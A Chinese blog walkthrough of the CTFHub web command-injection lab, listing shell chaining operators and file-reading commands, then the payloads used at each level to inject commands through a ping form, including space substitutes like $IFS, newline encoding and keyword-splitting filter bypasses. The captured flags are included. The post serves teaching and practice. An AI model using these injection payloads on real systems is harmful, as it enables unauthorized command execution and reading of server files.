CTFHub-Web-RCE-命令注入

目录

知识点

一、命令注入-无过滤 

二、命令注入-过滤cat

三、 命令注入-过滤空格

四、命令注入-过滤目录分隔符

五、命令注入-过滤运算符

 六、命令注入-综合过滤练习

1、查看源代码

2、 绕过思路


知识点

1、常见的拼接符

1、A ; B     先执行A,再执行B

2、A & B    简单的拼接

3、A | B      显示B的执行结果

4、A&&B    A执行成功之后才会执行B

5、A || B     A执行失败之后才会执行B

,           在特殊情况下可代替空格

2、常见的命令

(1)、Windows

1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)

2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)Linux

1、ls:列出目录

2、pwd:显示当前所在的目录

3、cat:由第一行开始查看文件

4、tac:由最后一行到第一行查看

5、more:逐项查看文件,按空格继续,最后自己退出

6、less:逐行查看文件,按方向键,不可主动退出,按q退出

7、head:只查看文件前十行

8、tail:只查看文件后十行

一、命令注入-无过滤 

1、使用了ping命令,我们输入IP,进行ping;由于没有过滤,直接进行命令的拼接

127.0.0.1 | ls 

2、查看文件内容

 127.0.0.1 | cat 97042060332333.php

这里结果没有显示,我们需要右击查看页面源码;

拿下flag:ctfhub{20deb1326036e84dcc295926}

二、命令注入-过滤cat

其他步骤不变,查看文件的命令不能是cat,对比上述知识点,选择其他的查看文件的命令;

选用head命令查看,查看页面源代码,获取flag

拿下flag:ctfhub{812be4735ca6bdb6f370ddd5}

三、 命令注入-过滤空格

其他步骤不变,空格被过滤,可以对空格进行代替,然后绕过。

<,<>,%20(space),%09(tab),$IFS$9,{IFS}

 证明替代可以绕过;

查看页面源码,获取flag

flag:ctfhub{238f11da99357c442b89269c}

四、命令注入-过滤目录分隔符

这题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。

;cd flag_is_here;ls

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、列举flag_is_here文件夹下的文件

同理,进行命令拼接,读取文件内容

;cd flag_is_here;cat flag_31385370225812.php

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、读取文件夹下的flag.php

 命令执行成功,查看页面源码获取flag

flag:ctfhub{facc57115147cd68e249be28}

五、命令注入-过滤运算符

1、查看题目

运算符:||、& 被过滤,不能使用,但并不是所有的运算符都被过滤,因此参考起始的知识点,选取其他运算符 。

命令(poyload)如下:

;ls    查看当前目录的文件
;cat   查看文件内容

查看页面源码,获取 flag

flag:ctfhub{98ded6f7df7a469522dbf6e5}

 六、命令注入-综合过滤练习

1、查看源代码

运算符、cat、flag、目录分割符都被过滤

2、 绕过思路

%0a        换行符

%0d        回车符

$*   在shell命令执行下为空

${IFS}      表示空格

 (1)、列举目录

poyload:127.0.0.1%0als

(2)、列举文件夹下的文件

 poyload:127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0als#

 (3)、查看文件内容,获取flag

poyload:
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0ahead${IFS}fl$*ag_323771375627198.php#

 

 flag:ctfhub{b4aad13d39d6c45100aa88ab}


命令注入结束!!!

  • 3
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值